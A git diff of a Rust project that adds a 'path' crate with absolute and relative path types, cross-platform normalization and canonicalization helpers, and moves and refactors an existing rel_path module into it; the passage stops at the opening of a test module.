--- /dev/null
+++ b/crates/path/Cargo.toml
@@ -0,0 +1,23 @@
+[package]
+name = "path"
+version = "0.1.0"
+edition.workspace = true
+publish.workspace = true
+license = "GPL-3.0-or-later"
+
+[lib]
+path = "src/path.rs"
+
+[features]
+test-support = []
+
+[dependencies]
+anyhow.workspace = true
+dunce.workspace = true
+serde = { workspace = true, optional = true }
+
+[dev-dependencies]
+tempfile.workspace = true
+
+[lints]
+workspace = true
diff --git a/crates/path/LICENSE-APACHE b/crates/path/LICENSE-APACHE
new file mode 120000
index 00000000000000..1cd601d0a3affa
--- /dev/null
+++ b/crates/path/LICENSE-APACHE
@@ -0,0 +1 @@
+../../LICENSE-APACHE
\ No newline at end of file
diff --git a/crates/path/src/abs_path.rs b/crates/path/src/abs_path.rs
new file mode 100644
index 00000000000000..65f5c2832c5abd
--- /dev/null
+++ b/crates/path/src/abs_path.rs
@@ -0,0 +1,286 @@
+use std::{
+    borrow::{Borrow, Cow},
+    fmt, io,
+    ops::Deref,
+    path::{Path, PathBuf},
+    rc::Rc,
+    sync::Arc,
+};
+
+use anyhow::Context;
+
+use crate::{PathStyle, rel_path::RelPath};
+
+// An absolute path on the user's local filesystem.
+// Requires paths to be valid utf-8
+#[derive(PartialEq, Eq, Hash, Debug, PartialOrd, Ord)]
+#[repr(transparent)]
+pub struct AbsPath(Path);
+
+impl AbsPath {
+    pub fn new(path: &Path) -> anyhow::Result<&Self> {
+        if !path.is_absolute() {
+            return Err(anyhow::anyhow!("Path is not absolute: {:?}", path));
+        }
+        if path.to_str().is_none() {
+            return Err(anyhow::anyhow!("Path is not valid utf-8: {:?}", path));
+        }
+        Ok(Self::new_unchecked(path))
+    }
+
+    fn new_unchecked(path: &Path) -> &Self {
+        // SAFETY: `AbsPath` is a `repr(transparent)` wrapper around `Path`.
+        unsafe { &*(path as *const Path as *const Self) }
+    }
+
+    pub fn to_abs_path_buf(&self) -> AbsPathBuf {
+        AbsPathBuf(self.0.to_owned())
+    }
+
+    pub fn join(&self, name: impl AsRef<str>) -> AbsPathBuf {
+        AbsPathBuf(self.0.join(name.as_ref()))
+    }
+
+    pub fn join_rel_path(&self, relative_path: &RelPath) -> AbsPathBuf {
+        AbsPathBuf(self.0.join(relative_path.as_std_path()))
+    }
+
+    pub fn parent(&self) -> Option<&AbsPath> {
+        let parent = self.0.parent()?;
+        Some(AbsPath::new_unchecked(parent))
+    }
+
+    pub fn starts_with(&self, other: &AbsPath) -> bool {
+        self.0.starts_with(&other.0)
+    }
+
+    pub fn ends_with(&self, other: &RelPath) -> bool {
+        self.0.ends_with(other.as_std_path())
+    }
+
+    pub fn is_descendant_of(&self, ancestor: &Self) -> bool {
+        if self == ancestor {
+            return false;
+        }
+        self.starts_with(ancestor)
+    }
+
+    pub fn file_name(&self) -> Option<&str> {
+        self.0.file_name()?.to_str()
+    }
+
+    pub fn display(&self) -> impl fmt::Display + '_ {
+        self.0.display()
+    }
+
+    pub fn as_std_path(&self) -> &Path {
+        &self.0
+    }
+
+    pub fn as_str(&self) -> &str {
+        self.0
+            .to_str()
+            .expect("valid UTF-8 enforced in constructor")
+    }
+
+    pub fn ancestors(&self) -> impl Iterator<Item = &AbsPath> {
+        self.0.ancestors().map(|p| AbsPath::new_unchecked(p))
+    }
+
+    pub fn strip_prefix<'a>(&'a self, prefix: &AbsPath) -> Option<Cow<'a, RelPath>> {
+        let prefix = self.0.strip_prefix(&prefix.0).ok()?;
+        RelPath::new(prefix, PathStyle::local()).ok()
+    }
+}
+
+impl ToOwned for AbsPath {
+    type Owned = AbsPathBuf;
+
+    fn to_owned(&self) -> Self::Owned {
+        self.to_abs_path_buf()
+    }
+}
+
+impl AsRef<Path> for AbsPath {
+    fn as_ref(&self) -> &Path {
+        &self.0
+    }
+}
+
+impl AsRef<AbsPath> for AbsPath {
+    fn as_ref(&self) -> &AbsPath {
+        self
+    }
+}
+
+impl From<&AbsPath> for Arc<AbsPath> {
+    fn from(path: &AbsPath) -> Self {
+        let arc: Arc<Path> = Arc::from(&path.0);
+        // SAFETY: `AbsPath` is a `repr(transparent)` wrapper around `Path`.
+        unsafe { Arc::from_raw(Arc::into_raw(arc) as *const AbsPath) }
+    }
+}
+
+impl From<&AbsPath> for Rc<AbsPath> {
+    fn from(path: &AbsPath) -> Self {
+        let arc: Rc<Path> = Rc::from(&path.0);
+        // SAFETY: `AbsPath` is a `repr(transparent)` wrapper around `Path`.
+        unsafe { Rc::from_raw(Rc::into_raw(arc) as *const AbsPath) }
+    }
+}
+
+// An absolute path on the user's local filesystem.
+#[derive(Debug, Clone, PartialEq, Eq, Hash, PartialOrd, Ord)]
+pub struct AbsPathBuf(PathBuf);
+
+impl AbsPathBuf {
+    pub fn new(path: impl Into<PathBuf>) -> anyhow::Result<Self> {
+        let path = path.into();
+        if let Err(e) = AbsPath::new(&path) {
+            return Err(e);
+        }
+        Ok(Self(path))
+    }
+
+    pub fn home_dir() -> anyhow::Result<Self> {
+        let home = std::env::home_dir().context("no home dir available")?;
+        Self::new(home)
+    }
+
+    /// Resolves `path` to its canonical on-disk spelling: symlinks and `..`
+    /// are resolved, relative input is anchored on the current directory, and
+    /// on case-insensitive filesystems each component takes the casing stored
+    /// on disk. Unlike [`std::fs::canonicalize`], the result never uses
+    /// Windows extended-length (`\\?\`) syntax, which chokes tools the path
+    /// is later handed to (e.g. `git`).
+    ///
+    /// Paths act as identity in several places (lock keys, watch-target
+    /// comparisons, persisted repository records), so canonicalize a path
+    /// where it enters the system whenever it may have been spelled by a user
+    /// or an external tool.
+    pub fn canonicalize(path: impl AsRef<Path>) -> io::Result<Self> {
+        let canonical = dunce::canonicalize(path.as_ref())?;
+        Self::new(canonical).map_err(io::Error::other)
+    }
+
+    pub fn push(&mut self, name: &str) {
+        self.0.push(name);
+    }
+
+    #[cfg(any(test, feature = "test-support"))]
+    pub fn new_test(path: &'static str) -> Self {
+        if cfg!(windows) {
+            Self::new(format!("C:{path}")).unwrap()
+        } else {
+            Self::new(path).unwrap()
+        }
+    }
+}
+
+#[cfg(any(test, feature = "test-support"))]
+pub fn abs_path(path: &str) -> AbsPathBuf {
+    if cfg!(windows) {
+        AbsPathBuf::new(format!("C:{path}")).unwrap()
+    } else {
+        AbsPathBuf::new(path).unwrap()
+    }
+}
+
+impl Deref for AbsPathBuf {
+    type Target = AbsPath;
+
+    fn deref(&self) -> &Self::Target {
+        AbsPath::new_unchecked(&self.0)
+    }
+}
+
+impl Borrow<AbsPath> for AbsPathBuf {
+    fn borrow(&self) -> &AbsPath {
+        self
+    }
+}
+
+impl AsRef<Path> for AbsPathBuf {
+    fn as_ref(&self) -> &Path {
+        self.0.as_ref()
+    }
+}
+
+impl AsRef<AbsPath> for AbsPathBuf {
+    fn as_ref(&self) -> &AbsPath {
+        self
+    }
+}
+
+impl From<AbsPathBuf> for PathBuf {
+    fn from(path: AbsPathBuf) -> PathBuf {
+        path.0
+    }
+}
+
+impl fmt::Display for AbsPathBuf {
+    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
+        self.as_str().fmt(f)
+    }
+}
+
+impl PartialEq<AbsPath> for AbsPathBuf {
+    fn eq(&self, other: &AbsPath) -> bool {
+        **self == *other
+    }
+}
+
+impl PartialEq<AbsPathBuf> for AbsPath {
+    fn eq(&self, other: &AbsPathBuf) -> bool {
+        *self == **other
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_canonicalize_restores_on_disk_spelling() {
+        let temp = tempfile::tempdir().unwrap();
+        let root = dunce::canonicalize(temp.path()).unwrap();
+        let dir = root.join("CamelCase");
+        std::fs::create_dir(&dir).unwrap();
+
+        let canonical = AbsPathBuf::canonicalize(&dir).unwrap();
+        assert_eq!(canonical.as_std_path(), dir);
+        assert!(
+            !canonical.as_str().starts_with(r"\\?\"),
+            "canonical paths must not use Windows extended-length syntax: {canonical}"
+        );
+
+        // A differently-cased spelling addresses the same directory only on a
+        // case-insensitive filesystem; when it does, canonicalization must
+        // restore the stored casing.
+        let lowercased = root.join("camelcase");
+        if std::fs::metadata(&lowercased).is_ok() {
+            assert_eq!(
+                AbsPathBuf::canonicalize(&lowercased).unwrap().as_std_path(),
+                dir,
+                "canonicalization should restore the on-disk casing"
+            );
+        }
+    }
+
+    #[test]
+    fn test_new_test_normalizes_rooted_paths() {
+        if cfg!(windows) {
+            assert_eq!(AbsPathBuf::new_test("/").as_str(), "C:/");
+            assert_eq!(
+                AbsPathBuf::new_test("/test/project").as_str(),
+                "C:/test/project"
+            );
+        } else {
+            assert_eq!(AbsPathBuf::new_test("/").as_str(), "/");
+            assert_eq!(
+                AbsPathBuf::new_test("/test/project").as_str(),
+                "/test/project"
+            );
+        }
+    }
+}
diff --git a/crates/path/src/path.rs b/crates/path/src/path.rs
new file mode 100644
index 00000000000000..c6a063264a31a5
--- /dev/null
+++ b/crates/path/src/path.rs
@@ -0,0 +1,263 @@
+//! Relative path types for deltadb.
+//!
+//! Provides [`RelPath`] and [`RelPathBuf`] — path types that are guaranteed to be
+//! relative, normalized, and valid unicode. Internally stored in POSIX (`/`-delimited)
+//! format regardless of host platform.
+//!
+//! Adapted from Zed's `util::rel_path` module.
+
+use std::{
+    borrow::Cow,
+    path::{Path, PathBuf},
+};
+
+use crate::rel_path::RelPath;
+
+pub mod abs_path;
+pub mod rel_path;
+
+pub trait PathExt {
+    fn to_rel_path_buf(&self) -> anyhow::Result<rel_path::RelPathBuf>;
+}
+
+impl<T: AsRef<Path> + ?Sized> PathExt for T {
+    fn to_rel_path_buf(&self) -> anyhow::Result<rel_path::RelPathBuf> {
+        Ok(RelPath::new(self.as_ref(), PathStyle::local())?.into_owned())
+    }
+}
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
+pub enum PathStyle {
+    Unix,
+    Windows,
+}
+
+impl PathStyle {
+    #[cfg(target_os = "windows")]
+    pub const fn local() -> Self {
+        PathStyle::Windows
+    }
+
+    #[cfg(not(target_os = "windows"))]
+    pub const fn local() -> Self {
+        PathStyle::Unix
+    }
+
+    #[inline]
+    pub fn primary_separator(&self) -> &'static str {
+        match self {
+            PathStyle::Unix => "/",
+            PathStyle::Windows => "\\",
+        }
+    }
+
+    pub fn separators(&self) -> &'static [&'static str] {
+        match self {
+            PathStyle::Unix => &["/"],
+            PathStyle::Windows => &["\\", "/"],
+        }
+    }
+
+    pub fn separators_ch(&self) -> &'static [char] {
+        match self {
+            PathStyle::Unix => &['/'],
+            PathStyle::Windows => &['\\', '/'],
+        }
+    }
+
+    pub fn is_absolute(&self, path_like: &str) -> bool {
+        path_like.starts_with('/')
+            || *self == PathStyle::Windows
+                && (path_like.starts_with('\\')
+                    || path_like
+                        .chars()
+                        .next()
+                        .is_some_and(|c| c.is_ascii_alphabetic())
+                        && path_like[1..]
+                            .strip_prefix(':')
+                            .is_some_and(|path| path.starts_with('/') || path.starts_with('\\')))
+    }
+
+    pub fn is_windows(&self) -> bool {
+        *self == PathStyle::Windows
+    }
+
+    pub fn is_posix(&self) -> bool {
+        *self == PathStyle::Unix
+    }
+
+    pub fn join(self, left: impl AsRef<Path>, right: impl AsRef<Path>) -> Option<String> {
+        let right = right.as_ref().to_str()?;
+        if is_absolute(right, self) {
+            return None;
+        }
+        let left = left.as_ref().to_str()?;
+        if left.is_empty() {
+            Some(right.into())
+        } else {
+            Some(format!(
+                "{left}{}{right}",
+                if left.ends_with(self.primary_separator()) {
+                    ""
+                } else {
+                    self.primary_separator()
+                }
+            ))
+        }
+    }
+
+    pub fn join_path(
+        self,
+        left: impl AsRef<Path>,
+        right: impl AsRef<Path>,
+    ) -> anyhow::Result<PathBuf> {
+        let left = left
+            .as_ref()
+            .to_str()
+            .ok_or_else(|| anyhow::anyhow!("Path contains invalid UTF-8"))?;
+        let right = right.as_ref();
+        let right_string = right
+            .to_str()
+            .ok_or_else(|| anyhow::anyhow!("Path contains invalid UTF-8"))?;
+        let joined = self
+            .join(left, right_string)
+            .ok_or_else(|| anyhow::anyhow!("Path must be relative: {right:?}"))?;
+        Ok(PathBuf::from(self.normalize(&joined)))
+    }
+
+    pub fn normalize(self, path_like: &str) -> String {
+        match self {
+            PathStyle::Windows => crate::normalize_path(Path::new(path_like))
+                .to_string_lossy()
+                .into_owned(),
+            PathStyle::Unix => {
+                let is_absolute = path_like.starts_with('/');
+                let remainder = if is_absolute {
+                    path_like.trim_start_matches('/')
+                } else {
+                    path_like
+                };
+
+                let mut components = Vec::new();
+                for component in remainder.split(self.separators_ch()) {
+                    match component {
+                        "" | "." => {}
+                        ".." => {
+                            if components
+                                .last()
+                                .is_some_and(|component| *component != "..")
+                            {
+                                components.pop();
+                            } else if !is_absolute {
+                                components.push(component);
+                            }
+                        }
+                        component => components.push(component),
+                    }
+                }
+
+                let normalized = components.join(self.primary_separator());
+                if is_absolute && normalized.is_empty() {
+                    "/".to_string()
+                } else if is_absolute {
+                    format!("/{normalized}")
+                } else {
+                    normalized
+                }
+            }
+        }
+    }
+
+    pub fn split(self, path_like: &str) -> (Option<&str>, &str) {
+        let Some(pos) = path_like.rfind(self.primary_separator()) else {
+            return (None, path_like);
+        };
+        let filename_start = pos + self.primary_separator().len();
+        (
+            Some(&path_like[..filename_start]),
+            &path_like[filename_start..],
+        )
+    }
+
+    pub fn strip_prefix<'a>(
+        &self,
+        child: &'a Path,
+        parent: &'a Path,
+    ) -> Option<std::borrow::Cow<'a, RelPath>> {
+        let parent = parent.to_str()?;
+        if parent.is_empty() {
+            return RelPath::new(child, *self).ok();
+        }
+        let parent = self
+            .separators()
+            .iter()
+            .find_map(|sep| parent.strip_suffix(sep))
+            .unwrap_or(parent);
+        let child = child.to_str()?;
+
+        // Match behavior of std::path::Path, which is case-insensitive for drive letters (e.g., "C:" == "c:")
+        let stripped = if self.is_windows()
+            && child.as_bytes().get(1) == Some(&b':')
+            && parent.as_bytes().get(1) == Some(&b':')
+            && child.as_bytes()[0].eq_ignore_ascii_case(&parent.as_bytes()[0])
+        {
+            child[2..].strip_prefix(&parent[2..])?
+        } else {
+            child.strip_prefix(parent)?
+        };
+        if let Some(relative) = self
+            .separators()
+            .iter()
+            .find_map(|sep| stripped.strip_prefix(sep))
+        {
+            RelPath::new(relative.as_ref(), *self).ok()
+        } else if stripped.is_empty() {
+            Some(Cow::Borrowed(RelPath::empty()))
+        } else {
+            None
+        }
+    }
+}
+
+fn is_absolute(path_like: &str, path_style: PathStyle) -> bool {
+    path_like.starts_with('/')
+        || path_style == PathStyle::Windows
+            && (path_like.starts_with('\\')
+                || path_like
+                    .chars()
+                    .next()
+                    .is_some_and(|c| c.is_ascii_alphabetic())
+                    && path_like[1..]
+                        .strip_prefix(':')
+                        .is_some_and(|path| path.starts_with('/') || path.starts_with('\\')))
+}
+
+/// Normalizes a path by resolving `.` and `..` components without
+/// requiring the path to exist on disk (unlike `canonicalize`).
+pub fn normalize_path(path: &Path) -> PathBuf {
+    use std::path::Component;
+    let mut components = path.components().peekable();
+    let mut ret = if let Some(c @ Component::Prefix(..)) = components.peek().cloned() {
+        components.next();
+        PathBuf::from(c.as_os_str())
+    } else {
+        PathBuf::new()
+    };
+
+    for component in components {
+        match component {
+            Component::Prefix(..) => unreachable!(),
+            Component::RootDir => {
+                ret.push(component.as_os_str());
+            }
+            Component::CurDir => {}
+            Component::ParentDir => {
+                ret.pop();
+            }
+            Component::Normal(c) => {
+                ret.push(c);
+            }
+        }
+    }
+    ret
+}
diff --git a/crates/util/src/rel_path.rs b/crates/path/src/rel_path.rs
similarity index 62%
rename from crates/util/src/rel_path.rs
rename to crates/path/src/rel_path.rs
index 382a4bad37b835..357fcb82056a45 100644
--- a/crates/util/src/rel_path.rs
+++ b/crates/path/src/rel_path.rs
@@ -1,6 +1,4 @@
-use crate::paths::{PathStyle, is_absolute};
 use anyhow::{Context as _, Result, anyhow};
-use serde::{Deserialize, Serialize};
 use std::{
     borrow::{Borrow, Cow},
     fmt,
@@ -9,6 +7,12 @@ use std::{
     sync::Arc,
 };
 
+use crate::{
+    PathStyle,
+    abs_path::{AbsPath, AbsPathBuf},
+    is_absolute,
+};
+
 /// A file system path that is guaranteed to be relative and normalized.
 ///
 /// This type can be used to represent paths in a uniform way, regardless of
@@ -20,20 +24,22 @@ use std::{
 ///
 /// Relative paths are also guaranteed to be valid unicode.
 #[repr(transparent)]
-#[derive(PartialEq, Eq, Hash, Serialize)]
+#[derive(PartialEq, Eq, Hash)]
+#[cfg_attr(feature = "serde", derive(serde::Serialize))]
 pub struct RelPath(str);
 
 /// An owned representation of a file system path that is guaranteed to be
 /// relative and normalized.
 ///
 /// This type is to [`RelPath`] as [`std::path::PathBuf`] is to [`std::path::Path`]
-#[derive(PartialEq, Eq, Clone, Ord, PartialOrd, Serialize)]
+#[derive(PartialEq, Eq, Clone, Hash)]
+#[cfg_attr(feature = "serde", derive(serde::Serialize))]
 pub struct RelPathBuf(String);
 
 impl RelPath {
     /// Creates an empty [`RelPath`].
     pub fn empty() -> &'static Self {
-        Self::new_unchecked("")
+        Self::from_str("")
     }
 
     /// Creates an empty [`RelPath`].
@@ -54,7 +60,7 @@ impl RelPath {
         let mut path = path.to_str().context("non utf-8 path")?;
 
         let (prefixes, suffixes): (&[_], &[_]) = match path_style {
-            PathStyle::Posix => (&["./"], &['/']),
+            PathStyle::Unix => (&["./"], &['/']),
             PathStyle::Windows => (&["./", ".\\"], &['/', '\\']),
         };
 
@@ -77,7 +83,7 @@ impl RelPath {
         }
 
         let mut result = match string {
-            Cow::Borrowed(string) => Cow::Borrowed(Self::new_unchecked(string)),
+            Cow::Borrowed(string) => Cow::Borrowed(Self::from_str(string)),
             Cow::Owned(string) => Cow::Owned(RelPathBuf(string)),
         };
 
@@ -95,7 +101,7 @@ impl RelPath {
                             return Err(anyhow!("path is not relative: {result:?}"));
                         }
                     }
-                    other => normalized.push(RelPath::new_unchecked(other)),
+                    other => normalized.push(RelPath::from_str(other)),
                 }
             }
             result = Cow::Owned(normalized)
@@ -104,20 +110,25 @@ impl RelPath {
         Ok(result)
     }
 
+    #[track_caller]
+    pub fn new_test<'a>(path: &'a str) -> Cow<'a, Self> {
+        Self::new(Path::new(path), PathStyle::Unix).unwrap()
+    }
+
     /// Converts a path that is already normalized and uses '/' separators
     /// into a [`RelPath`] .
     ///
     /// Returns an error if the path is not already in the correct format.
     #[track_caller]
-    pub fn unix<S: AsRef<Path> + ?Sized>(path: &S) -> anyhow::Result<&Self> {
+    pub fn from_unix_str<S: AsRef<Path> + ?Sized>(path: &S) -> anyhow::Result<&Self> {
         let path = path.as_ref();
-        match Self::new(path, PathStyle::Posix)? {
+        match Self::new(path, PathStyle::Unix)? {
             Cow::Borrowed(path) => Ok(path),
             Cow::Owned(_) => Err(anyhow!("invalid relative path {path:?}")),
         }
     }
 
-    fn new_unchecked(s: &str) -> &Self {
+    fn from_str(s: &str) -> &Self {
         // Safety: `RelPath` is a transparent wrapper around `str`.
         unsafe { &*(s as *const str as *const Self) }
     }
@@ -131,7 +142,12 @@ impl RelPath {
     }
 
     pub fn ancestors(&self) -> RelPathAncestors<'_> {
-        RelPathAncestors(Some(&self.0))
+        RelPathAncestors {
+            full: &self.0,
+            front: self.0.len(),
+            back: 0,
+            done: false,
+        }
     }
 
     pub fn file_name(&self) -> Option<&str> {
@@ -156,7 +172,22 @@ impl RelPath {
         self.strip_prefix(other).is_ok()
     }
 
+    /// Returns true if this path is a strict descendant of `ancestor`.
+    ///
+    /// Unlike `starts_with`, this returns false when `self == ancestor`
+    /// and false when `ancestor` is empty (since every path trivially
+    /// starts with the empty prefix).
+    pub fn is_descendant_of(&self, ancestor: &Self) -> bool {
+        if ancestor.is_empty() || self == ancestor {
+            return false;
+        }
+        self.starts_with(ancestor)
+    }
+
     pub fn ends_with(&self, other: &Self) -> bool {
+        if other.is_empty() {
+            return true;
+        }
         if let Some(suffix) = self.0.strip_suffix(&other.0) {
             if suffix.ends_with('/') {
                 return true;
@@ -173,7 +204,7 @@ impl RelPath {
         }
         if let Some(suffix) = self.0.strip_prefix(&other.0) {
             if let Some(suffix) = suffix.strip_prefix('/') {
-                return Ok(Self::new_unchecked(suffix));
+                return Ok(Self::from_str(suffix));
             } else if suffix.is_empty() {
                 return Ok(Self::empty());
             }
@@ -182,7 +213,11 @@ impl RelPath {
     }
 
     pub fn len(&self) -> usize {
-        self.0.matches('/').count() + 1
+        if self.0.is_empty() {
+            0
+        } else {
+            self.0.matches('/').count() + 1
+        }
     }
 
     pub fn last_n_components(&self, count: usize) -> Option<&Self> {
@@ -198,15 +233,14 @@ impl RelPath {
         }
     }
 
-    pub fn join(&self, other: &Self) -> Arc<Self> {
-        let result = if self.0.is_empty() {
-            Cow::Borrowed(&other.0)
+    pub fn join(&self, other: &Self) -> RelPathBuf {
+        if self.0.is_empty() {
+            other.to_rel_path_buf()
         } else if other.0.is_empty() {
-            Cow::Borrowed(&self.0)
+            self.to_rel_path_buf()
         } else {
-            Cow::Owned(format!("{}/{}", &self.0, &other.0))
-        };
-        Arc::from(Self::new_unchecked(result.as_ref()))
+            RelPathBuf(format!("{}/{}", &self.0, &other.0))
+        }
     }
 
     pub fn to_rel_path_buf(&self) -> RelPathBuf {
@@ -217,23 +251,13 @@ impl RelPath {
         Arc::from(self)
     }
 
-    /// Convert the path into the wire representation.
-    pub fn to_proto(&self) -> String {
-        self.as_unix_str().to_owned()
-    }
-
-    /// Load the path from its wire representation.
-    pub fn from_proto(path: &str) -> Result<Arc<Self>> {
-        Ok(Arc::from(Self::unix(path)?))
-    }
-
     /// Convert the path into a string with the given path style.
     ///
     /// Whenever a path is presented to the user, it should be converted to
     /// a string via this method.
     pub fn display(&self, style: PathStyle) -> Cow<'_, str> {
         match style {
-            PathStyle::Posix => Cow::Borrowed(&self.0),
+            PathStyle::Unix => Cow::Borrowed(&self.0),
             PathStyle::Windows if self.0.contains('/') => Cow::Owned(self.0.replace('/', "\\")),
             PathStyle::Windows => Cow::Borrowed(&self.0),
         }
@@ -255,18 +279,15 @@ impl RelPath {
     pub fn as_std_path(&self) -> &Path {
         Path::new(&self.0)
     }
-}
-
-#[derive(Debug)]
-pub struct StripPrefixError;
 
-impl std::fmt::Display for StripPrefixError {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        f.write_str("prefix not found")
+    /// Resolves this relative path against an absolute base path.
+    pub fn absolutize(&self, base: impl AsRef<AbsPath>) -> AbsPathBuf {
+        base.as_ref().join(self.as_unix_str())
     }
 }
 
-impl std::error::Error for StripPrefixError {}
+#[derive(Debug)]
+pub struct StripPrefixError;
 
 impl ToOwned for RelPath {
     type Owned = RelPathBuf;
@@ -324,14 +345,33 @@ impl RelPathBuf {
     }
 
     pub fn push(&mut self, path: &RelPath) {
+        if path.is_empty() {
+            return;
+        }
         if !self.is_empty() {
             self.0.push('/');
         }
         self.0.push_str(&path.0);
     }
 
+    pub fn push_component(&mut self, component: &str) -> Result<()> {
+        anyhow::ensure!(
+            !component.is_empty()
+                && !component.contains('/')
+                && component != "."
+                && component != "..",
+            "invalid relative path component: {component:?}"
+        );
+
+        if !self.is_empty() {
+            self.0.push('/');
+        }
+        self.0.push_str(component);
+        Ok(())
+    }
+
     pub fn as_rel_path(&self) -> &RelPath {
-        RelPath::new_unchecked(self.0.as_str())
+        RelPath::from_str(self.0.as_str())
     }
 
     pub fn set_extension(&mut self, extension: &str) -> bool {
@@ -339,7 +379,7 @@ impl RelPathBuf {
             let mut filename = PathBuf::from(filename);
             filename.set_extension(extension);
             self.pop();
-            self.0.push_str(filename.to_str().unwrap());
+            self.push(RelPath::from_str(filename.to_str().unwrap()));
             true
         } else {
             false
@@ -347,33 +387,21 @@ impl RelPathBuf {
     }
 }
 
-impl<'de> Deserialize<'de> for RelPathBuf {
-    fn deserialize<D>(deserializer: D) -> std::result::Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let path = String::deserialize(deserializer)?;
-        let rel_path =
-            RelPath::new(Path::new(&path), PathStyle::local()).map_err(serde::de::Error::custom)?;
-        Ok(rel_path.into_owned())
-    }
-}
-
-impl Into<Arc<RelPath>> for RelPathBuf {
-    fn into(self) -> Arc<RelPath> {
-        Arc::from(self.as_rel_path())
+impl PartialOrd for RelPathBuf {
+    fn partial_cmp(&self, other: &Self) -> Option<std::cmp::Ordering> {
+        Some(self.cmp(other))
     }
 }
 
-impl AsRef<Path> for RelPathBuf {
-    fn as_ref(&self) -> &Path {
-        self.as_std_path()
+impl Ord for RelPathBuf {
+    fn cmp(&self, other: &Self) -> std::cmp::Ordering {
+        self.as_rel_path().cmp(other.as_rel_path())
     }
 }
 
-impl AsRef<Path> for RelPath {
-    fn as_ref(&self) -> &Path {
-        self.as_std_path()
+impl From<RelPathBuf> for Arc<RelPath> {
+    fn from(value: RelPathBuf) -> Self {
+        Arc::from(value.as_rel_path())
     }
 }
 
@@ -383,12 +411,24 @@ impl AsRef<RelPath> for RelPathBuf {
     }
 }
 
+impl AsRef<std::path::Path> for RelPathBuf {
+    fn as_ref(&self) -> &Path {
+        self.as_std_path()
+    }
+}
+
 impl AsRef<RelPath> for RelPath {
     fn as_ref(&self) -> &RelPath {
         self
     }
 }
 
+impl AsRef<std::path::Path> for RelPath {
+    fn as_ref(&self) -> &Path {
+        self.as_std_path()
+    }
+}
+
 impl Deref for RelPathBuf {
     type Target = RelPath;
 
@@ -406,20 +446,37 @@ impl<'a> From<&'a RelPath> for Cow<'a, RelPath> {
 impl From<&RelPath> for Arc<RelPath> {
     fn from(rel_path: &RelPath) -> Self {
         let bytes: Arc<str> = Arc::from(&rel_path.0);
+        // SAFETY: `AbsPath` is a `repr(transparent)` wrapper around `Path`.
         unsafe { Arc::from_raw(Arc::into_raw(bytes) as *const RelPath) }
     }
 }
 
+impl<'a> TryFrom<&'a str> for &'a RelPath {
+    type Error = anyhow::Error;
+
+    fn try_from(s: &'a str) -> Result<Self> {
+        RelPath::from_unix_str(s)
+    }
+}
+
+impl TryFrom<&str> for RelPathBuf {
+    type Error = anyhow::Error;
+
+    fn try_from(s: &str) -> Result<Self> {
+        RelPath::new(Path::new(s), PathStyle::Unix).map(|cow| cow.into_owned())
+    }
+}
+
 #[cfg(any(test, feature = "test-support"))]
 #[track_caller]
 pub fn rel_path(path: &str) -> &RelPath {
-    RelPath::unix(path).unwrap()
+    RelPath::from_unix_str(path).unwrap()
 }
 
 #[cfg(any(test, feature = "test-support"))]
 #[track_caller]
 pub fn rel_path_buf(path: &str) -> RelPathBuf {
-    RelPath::unix(path).unwrap().to_rel_path_buf()
+    rel_path(path).to_owned()
 }
 
 impl PartialEq<str> for RelPath {
@@ -428,26 +485,45 @@ impl PartialEq<str> for RelPath {
     }
 }
 
-pub trait PathExt {
-    fn to_rel_path_buf(&self) -> Result<RelPathBuf>;
+impl PartialEq<RelPath> for RelPathBuf {
+    fn eq(&self, other: &RelPath) -> bool {
+        self.as_rel_path() == other
+    }
+}
+
+impl PartialEq<RelPathBuf> for RelPath {
+    fn eq(&self, other: &RelPathBuf) -> bool {
+        other.as_rel_path() == self
+    }
+}
+
+impl fmt::Display for RelPath {
+    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
+        f.write_str(&self.0)
+    }
 }
 
-impl<T: AsRef<Path> + ?Sized> PathExt for T {
-    fn to_rel_path_buf(&self) -> Result<RelPathBuf> {
-        Ok(RelPath::new(self.as_ref(), PathStyle::local())?.into_owned())
+impl fmt::Display for RelPathBuf {
+    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
+        f.write_str(&self.0)
     }
 }
 
 #[derive(Default)]
 pub struct RelPathComponents<'a>(&'a str);
 
-pub struct RelPathAncestors<'a>(Option<&'a str>);
+pub struct RelPathAncestors<'a> {
+    full: &'a str,
+    front: usize,
+    back: usize,
+    done: bool,
+}
 
 const SEPARATOR: char = '/';
 
 impl<'a> RelPathComponents<'a> {
     pub fn rest(&self) -> &'a RelPath {
-        RelPath::new_unchecked(self.0)
+        RelPath::from_str(self.0)
     }
 }
 
@@ -473,15 +549,35 @@ impl<'a> Iterator for RelPathAncestors<'a> {
     type Item = &'a RelPath;
 
     fn next(&mut self) -> Option<Self::Item> {
-        let result = self.0?;
-        if let Some(sep_ix) = result.rfind(SEPARATOR) {
-            self.0 = Some(&result[..sep_ix]);
-        } else if !result.is_empty() {
-            self.0 = Some("");
+        if self.done {
+            return None;
+        }
+        let result = &self.full[..self.front];
+        if self.front == self.back {
+            self.done = true;
+        } else {
+            self.front = result.rfind(SEPARATOR).unwrap_or_default();
+        }
+        Some(RelPath::from_str(result))
+    }
+}
+
+impl<'a> DoubleEndedIterator for RelPathAncestors<'a> {
+    fn next_back(&mut self) -> Option<Self::Item> {
+        if self.done {
+            return None;
+        }
+        let result = &self.full[..self.back];
+        if self.front == self.back {
+            self.done = true;
         } else {
-            self.0 = None;
+            let search_start = if self.back == 0 { 0 } else { self.back + 1 };
+            self.back = match self.full[search_start..].find(SEPARATOR) {
+                Some(sep_ix) => search_start + sep_ix,
+                None => self.full.len(),
+            };
         }
-        Some(RelPath::new_unchecked(result))
+        Some(RelPath::from_str(result))
     }
 }
 
@@ -501,11 +597,21 @@ impl<'a> DoubleEndedIterator for RelPathComponents<'a> {
     }
 }
 
+impl<'de> serde::Deserialize<'de> for RelPathBuf {
+    fn deserialize<D>(deserializer: D) -> std::result::Result<Self, D::Error>
+    where
+        D: serde::Deserializer<'de>,
+    {
+        let path = String::deserialize(deserializer)?;
+        let rel_path =
+            RelPath::new(Path::new(&path), PathStyle::local()).map_err(serde::de::Error::custom)?;
+        Ok(rel_path.into_owned())
+    }
+}
+
 #[cfg(test)]
 mod tests {
